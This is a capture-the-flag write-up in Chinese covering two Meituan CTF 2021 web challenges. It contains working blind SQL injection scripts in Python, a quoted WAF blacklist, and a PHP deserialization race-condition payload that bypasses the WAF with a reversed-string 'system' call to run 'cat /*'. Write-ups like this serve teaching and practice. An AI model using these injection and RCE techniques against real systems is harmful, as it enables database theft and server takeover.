美团CTF2021部分writeup

sql

fuzz一下,ban了很多东西,不过同时也留了不少可用函数。看到=、like被ban之后就能想到regexp,加上引号也被ban就能联想到\转义引号实现注入的姿势。

尝试一波username=admin\&password=||1%23回显flag is not here!,老此地无银三百两了,不说了,注它。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import time
import string
import re

def ord2hex(letter):
    result = ''
    for i in letter:
        result += hex(ord(i))
    result = result.replace('0x','')
    return '0x'+result

def hex2ord(letter):
    result = ''
    for i in range(0,len(letter),2):
        result += chr(int(letter[i:i+2], 16))
    return result

url = "http://eci-2ze7rwkw5ezzl02e1ami.cloudeci1.ichunqiu.com/index.php"
str_list = string.hexdigits
flag = "^" # 使用^从头匹配
session = requests.session()
for n in range(1, 100):
    length = len(flag)
    for i in str_list:
        data = {
            'username':'admin\\',
            "password": "||hex(password)/**/REGEXP/**/" + ord2hex(flag + re.escape(i)) + "#"
        }
        # print(data["password"])
        res = session.post(url=url, data=data)
        res.encoding = "utf-8"
        time.sleep(0.1)
        if 'flag is not here!' in res.text:
            flag += i
            print(flag)
            break
    if len(flag) == length:
        print(hex2ord(flag.lstrip("^")))
        break
# username: admin
# password: This_1s_thE_Passw0rd
# @@version: 5.5.62-0ubuntu0.14.04.1
# database(): ctf

easytricks

依然过滤很多,注tn的

脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests as req
import time

target = "http://eci-2ze3abqpovgs8cju593e.cloudeci1.ichunqiu.com"
flag = ''
session = req.session()
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
    "Content-Type": "application/x-www-form-urlencoded"
}
data = {"user": "admin"}
for j in range(1, 250):
    max = 126
    min = 32
    length = len(flag.strip())
    while 1:
        mid = (max + min) // 2
        # sql = "passwd" # GoODLUcKcTFer202OHAckFuN
        sql = "user" # admin
        SQL = f"1'&if(ascii(substr({sql},{j},1))>{mid},0,1)&'1"
        # res = session.get(url=target+SQL)
        data["passwd"] = SQL
        res = session.post(url=target, data=data, headers=headers)
        time.sleep(0.1)
        print(SQL)
        if "user.php" in res.text: # 大于成立
            if max - 1 == min:
                flag += chr(max)
                print(flag)
                break
            min = mid
        else:
            if max - 1 == min:
                flag += chr(min)
                print(flag)
                break
            max = mid
    if length == len(flag.strip()):
        print(flag)
        break

登录提示/admin/admin.rar,看了代码发现可能有漏洞的功能挺多的,比如session处理器使用差异、文件上传(控诉出题人故意把htaccess写错害我白高兴一场)、反序列化点。一开始以为是session反序列化,但是给了反序列化点又不太可能靠session去反序列化,后来才想到是条件竞争,原因是unserilize触发反序列化到new创建新的实例之间有时间可以用来执行我们写入的php代码

大坑:一开始觉得给了cli.php就是用这个来条件竞争,结果死活竞争不到,还是直接访问hack.php才行。。。麻了

插入php代码之前要先了解一下waf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public function waf($parm){
    $blacklist="/flag|pcntl|system|exec|fread|file|fpassthru|popen|proc|ld|putenv|passthru|`|\.|\\\|#|\\$|[0-9]|_|get|~|\\^|eval|assert|open|write|include|require/is";
    return preg_match($blacklist,$parm);
public function write(){
    if($this->waf($this->contents)||strlen($this->contents)>60||preg_match_all('/\\(/i',$this->contents,$matches)>2||preg_match_all('/\\)/i',$this->contents,$matches)>2){
        die("<br>"."no no no");
    }
    if(preg_match_all('/;/i',$this->contents,$matches)>2){
        die("<br>"."try hard");
    }

cli.php可知使用的是php7.4版本,这个版本已经不能使用修改变量个数绕过wakeup,那就只能通过修改contents绕waf来RCE。

contents除了不能包含这些关键字,还不能超过两个括号和两个分号。

先从phpinfo()开始

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
class preload{
    public $class;
    public $contents;
    public $method;
    public function __construct(){
        $this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
        $this->contents="'tyskill';?><?php phpinfo();//";
        $this->method="\$hack->hack();";
    }
}
$o = new preload();
echo serialize($o)."\n";
echo strlen($o->contents);

生成的payload传入反序列化点,bp爆破,然后再开一个访问hack.php的任务,把线程调整到10~20即可

接着就可以看到phpinfo了

# disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare

很明显这里ban的都是什么用不到的函数,所以system在没有特别标注waf的情况下可以使用。后面就是寻找RCE,看着就觉得waf很麻烦,导致卡了很久,后来想到动态调用函数就去找可以绕waf的编码(system支持动态调用),结果编码没找到,找到了字符串倒序函数strrev,最后payloadstrrev('metsys')('cat /*');条件竞争读flag